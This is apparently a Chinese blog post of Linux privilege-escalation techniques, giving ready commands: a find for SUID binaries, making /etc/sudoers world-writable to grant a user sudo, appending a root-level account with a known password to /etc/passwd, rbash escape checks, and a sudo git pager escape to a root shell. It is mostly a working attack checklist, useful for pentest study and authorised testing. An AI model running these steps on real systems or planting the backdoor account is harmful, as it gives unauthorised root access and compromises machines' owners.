Linux内网提权

一、SUID提权

前提条件:

(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效

1、设置SUID权限:root权限

chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

2、 收集具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null

SUID提权 - hello_bao - 博客园 (cnblogs.com)

二、sudoers提权

前提条件:/etc/sudoers 如果为当前权限可更改,则可进行写入普通用户sudo权限

chmod 777 /etc/sudoers
# User privilege specification

root    ALL=(ALL:ALL) ALL

#在这添加new_user的sudo 权限

new_user     ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command

%sudo   ALL=(ALL:ALL) ALL

修改完将sudoers权限修改回去

chmod 440 /etc/sudoers

普通用户可进行sudo 执行root权限命令

sudo systemctl start ssh

三、重要软件或文件配置不当提权

nps提权

当nfs配置了读写权限且允许客户端以root访问时,就会存在该漏洞

passwd提权

如果当前用户有修改/etc/passwd的权限则可以添加一个root权限用户:

 echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

账号:test 密码:password@123

四、rbash逃逸

前提条件:当前用户shell为普通用户且有可以利用的命令

确定在rbash权限下:echo $PATH

确定可以使用的命令:compgen -c

【渗透测试】--- rbash逃逸方法简述-CSDN博客

五、git提权

前提条件:当前用户可以使用sudo中git权限

查看sudo -l  如果 有   (root) NOPASSWD: /usr/bin/git    则可以提权

以下两种二选一:

sudo git help config #在末行命令模式输入

!/bin/bash 或 !'sh' #完成提权



sudo git -p help

!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

相关推荐

  1. Linux

    2024-03-30 07:44:03       19 阅读
  2. 47-5 渗透 - 环境搭建

    2024-03-30 07:44:03       7 阅读
  3. linux 总结_linux

    2024-03-30 07:44:03       17 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-30 07:44:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-30 07:44:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-30 07:44:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-30 07:44:03       20 阅读

热门阅读

  1. 机器学习:scikit-learn库的主要组件

    2024-03-30 07:44:03       17 阅读
  2. Leetcode 15. 三数之和

    2024-03-30 07:44:03       19 阅读
  3. 美团二面极差体验

    2024-03-30 07:44:03       19 阅读
  4. 接口和抽象类有什么区别?

    2024-03-30 07:44:03       18 阅读
  5. 实现公网数据传输给内网(使用frp)

    2024-03-30 07:44:03       16 阅读
  6. DM Mysql Oracle 日期函数 dameng

    2024-03-30 07:44:03       15 阅读
  7. 学生管理系统本地化存储版

    2024-03-30 07:44:03       20 阅读
  8. Redis Scan指令解析与使用示例

    2024-03-30 07:44:03       19 阅读
  9. MongoDB聚合运算符:$linearFill

    2024-03-30 07:44:03       20 阅读
  10. C# 命名空间的两种定义哦写法与区别

    2024-03-30 07:44:03       20 阅读
  11. Nginx的预定义变量

    2024-03-30 07:44:03       21 阅读
  12. 算法部署总结

    2024-03-30 07:44:03       21 阅读